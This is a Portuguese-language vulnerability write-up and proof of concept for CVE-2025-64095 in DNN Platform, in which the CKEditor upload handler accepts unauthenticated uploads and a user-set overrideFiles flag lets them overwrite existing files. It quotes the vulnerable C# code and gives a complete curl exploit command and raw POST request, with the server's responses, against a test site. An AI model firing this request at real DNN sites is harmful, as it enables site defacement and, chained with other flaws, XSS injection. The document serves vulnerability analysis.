
POC de Controle de Acesso Insuficiente do DNN - Upload de Imagem permite Sobrescrita de Conteúdo do Site
POC de DNN Controle de Acesso Insuficiente - Upload de Imagem permite Sobrescrita de Conteúdo do Site
Sou um homem simples, vejo cvss:10/10 e entro xD
Eu vi esse novo CVE CVE-2025-64095 DNN Controle de Acesso Insuficiente - Upload de Imagem permite a Sobrescrita de Conteúdo do Site
O provedor padrão do editor HTML permite uploads de arquivos não autenticados e as imagens podem sobrescrever arquivos existentes.
Descrição
Um usuário não autenticado pode enviar e substituir arquivos existentes, permitindo desfigurar um site e, combinado com outros problemas, injetar payloads de XSS.
https://nvd.nist.gov/vuln/detail/CVE-2025-64095
Pontuação Base: 10.0 CRÍTICO 🤷♂️
No final das contas, não é tão crítico assim, já que você não pode enviar uma web shell como ASP, ASPX..etc (pelo menos na configuração padrão ) — você pode enviar apenas imagens + SVG. Você só pode enviar/sobrescrever arquivos existentes no servidor web + em um caminho específico; você não pode nem mesmo enviar um arquivo no diretório raiz.
Como todas as versões anteriores à 10.1.1 são vulneráveis, peguei a DNN Platform 10.1.0 (a última versão vulnerável )
O diff é um pouco grande; estou interessado apenas no código relacionado ao upload de arquivos, que está relacionado a Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx. Então foquei em comparar esse arquivo específico entre as versões para entender o que (se é que algo) foi corrigido na 10.1.1.
Deixe-me mostrar o que encontrei e como descobri a vulnerabilidade.
Quando comecei a analisar as duas versões, o diff geral mostrou 158 arquivos alterados entre a DNN Platform 10.1.0 e a 10.1.1. A maioria eram apenas melhorias — namespaces com escopo de arquivo. Mas eu precisava saber se a vulnerabilidade de upload de arquivo foi corrigida.
O arquivo vulnerável está localizado em Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs — este é o manipulador de upload de arquivos do CKEditor. É uma superfície de ataque comum para vulnerabilidades de upload de arquivos.
Observando o método ProcessRequest na 10.1.0:
public void ProcessRequest(HttpContext context)
{
context.Response.AddHeader("Pragma", "no-cache");
context.Response.AddHeader("Cache-Control", "private, no-cache");
this.HandleMethod(context);
}
É isso. Literalmente não há verificação de autenticação. Qualquer pessoa pode enviar uma requisição para esse endpoint e fazer upload de arquivos, sem verificação de sessão, nada.
O fluxo é o seguinte:
FileUploader.ashxProcessRequest é chamadoHandleMethod, que roteia para UploadFileUploadFile chama UploadWholeFileUploadWholeFile processa o upload sem verificar se o usuário está logadoToda a lógica de upload acontece em UploadWholeFile, começando por volta da linha 230. Deixe-me mostrar as partes críticas:
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (int i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
var fileName = Path.GetFileName(file.FileName); // Line 236
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
// ... more processing ...
// Rename File if Exists
if (!this.OverrideFiles) // Line 268
{
var counter = 0;
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
}
}
var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
var userId = UserController.Instance.GetCurrentUserInfo().UserID; // Line 284 - gets userId but never checked!
if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
{
FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
}
else
{
// Image resizing logic follows...
}
}
}
Observe que, na linha 284, o código chama UserController.Instance.GetCurrentUserInfo() para obter o userId, mas nunca verifica de fato se o usuário está autenticado. Se você não está logado, isso apenas retorna um usuário nulo ou anônimo, mas o upload continua mesmo assim.
Observe também a propriedade OverrideFiles na linha 268:
private bool OverrideFiles =>
HttpContext.Current.Request["overrideFiles"].Equals("1")
|| HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);
Este é um parâmetro controlado pelo usuário! Qualquer pessoa pode definir overrideFiles=1 na requisição de upload e sobrescrever arquivos existentes.
Testei isso criando um comando curl simples:
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "[email protected]" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
requisição POST bruta
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"
0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"
Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194
[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
O arquivo foi enviado com sucesso. Verifiquei acessando http://mysite.dnndev.me/Portals/_default/poc.png e, com certeza, lá estava ele.
e o arquivo está hospedado no diretório \Portals_default :
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File
Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default